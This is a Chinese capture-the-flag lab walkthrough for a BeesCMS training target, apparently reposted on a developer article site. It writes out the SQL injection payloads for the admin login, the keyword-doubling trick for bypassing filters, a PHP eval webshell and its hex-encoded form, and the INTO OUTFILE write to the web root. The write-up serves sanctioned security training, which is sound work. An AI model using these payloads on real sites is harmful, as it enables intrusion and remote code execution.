墨者靶场 初级:BeesCMS系统漏洞分析溯源
程序员文章站
2022-03-25 13:21:37
...
题目
背景介绍
某人搭建BeesCMS网站,邀请“墨者”安全工程师测试网站的安全性。
实训目标
1、了解BeesCMS;
2、了解此漏洞形成的原因;
3、掌握此漏洞的利用方式;
解题方向
根据网站目录,找到利用漏洞。
提示:网站位于"/var/www/html/"目录下。
解题步骤
启动靶机,访问链接,是个企业网站系统。
不难发现网站的登录页在/admin/login.php。
对参数进行测试,发现用户名存在sql注入。
admin' 报错
admin' or 1=1 # 不报错
从报错可以看出有5列,所以尝试select。
admin' union select 1,2,3,4,5 # union和select都过滤了
admin' ununionion selselectect 1,2,3,4,5 # union被过滤了
admin' un union ion selselectect 1,2,3,4,5 # OK。
根据题目所给的文件路径,使用sql语句创建shell文件。
admin' un union ion selselectect 1,'<?php @eval($_POST[cmd])?>',3,4,5 in into outoutfilefile '/var/www/html/shell.php' #
访问一下shell文件,发现一句话插入失败。
查看源码发现’<’和’>’被做了过滤,使用16进制绕过,将一句话木马进行16进制编码
<?php @eval($_POST[cmd])?>
0x3c3f70687020406576616c28245f504f53545b27636d64275d293b203f3e
将编好码的一句话放在sql语句中,再写入shell文件。
再次访问shell文件,一句话插入成功。
使用菜刀去连接shell文件,寻找key文件。
提交key即可。